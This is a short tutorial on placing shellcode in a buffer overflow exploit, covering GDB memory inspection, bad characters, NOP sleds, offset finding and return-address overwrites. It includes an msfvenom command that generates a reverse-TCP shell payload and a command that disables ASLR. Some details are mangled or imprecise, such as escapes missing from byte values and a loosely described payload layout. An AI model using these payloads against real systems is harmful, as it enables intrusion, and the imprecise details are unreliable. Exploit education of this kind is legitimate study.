TL;DR
This guide shows how to reliably place shellcode in a buffer overflow exploit. We’ll cover finding suitable locations, avoiding bad characters, and ensuring execution.
Finding a Place for Your Shellcode
- Identify the Buffer: First, you need to know which buffer is overflowing. This usually comes from fuzzing or reverse engineering the vulnerable program.
- Locate Suitable Memory: Look for regions of memory that are writable and executable. Common places include:
- Stack: Often a good choice, but can be affected by ASLR (Address Space Layout Randomization).
- Heap: More complex to manage, but potentially larger space.
- Data Sections (.data or .bss): May require modifying permissions before execution.
- Use a Debugger (GDB/WinDbg): Use a debugger to examine the memory map of the process.
gdb ./vulnerable_programinfo filesThis command will show you the loaded modules and their sections.
- Determine Address: Find the starting address of your chosen memory region. For example, if using the stack:
info frameLook for the base pointer (ebp on x86) or frame pointer (fp on x64). The stack grows downwards, so you’ll need to calculate an offset from this address.
Avoiding Bad Characters
- Identify Bad Characters: Some characters are invalid in shellcode or can terminate strings prematurely (e.g., null bytes x00).
- Shellcode Encoding: Use techniques to bypass bad characters:
- NOP sleds: Add a series of NOP instructions (x90) before your shellcode. This gives the exploit more leeway if the exact address is slightly off.
- Character Substitution: Replace bad characters with equivalent instructions or sequences.
- Encoding Libraries: Tools like msfvenom can help encode shellcode to avoid specific bytes.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai
Shellcode Placement and Execution
- Overwrite Return Address: The goal is to overwrite the return address on the stack with the address of your shellcode.
- Calculate Offset: Determine the exact offset from the beginning of the buffer to the return address.
- Use a pattern generator (e.g., Metasploit’s pattern_create) to find the offset:
msf-pattern_create -l 200Send this pattern as input to the vulnerable program and observe where it crashes.
- Use a pattern generator (e.g., Metasploit’s pattern_create) to find the offset:
- Craft Payload: Construct your payload with the following structure:
- Buffer contents (including any necessary padding).
- Shellcode.
- Overwritten return address pointing to the shellcode’s location.
- Disable Protections: If ASLR is enabled, you may need to disable it for testing purposes.
sudo sysctl -w kernel.randomize_va_space=0 - Execute Exploit: Run the vulnerable program with your crafted payload as input.
- Verify Execution: Use a debugger to confirm that execution jumps to your shellcode.
break *shellcode_addressSet a breakpoint at the start of your shellcode and check if it’s hit during execution.

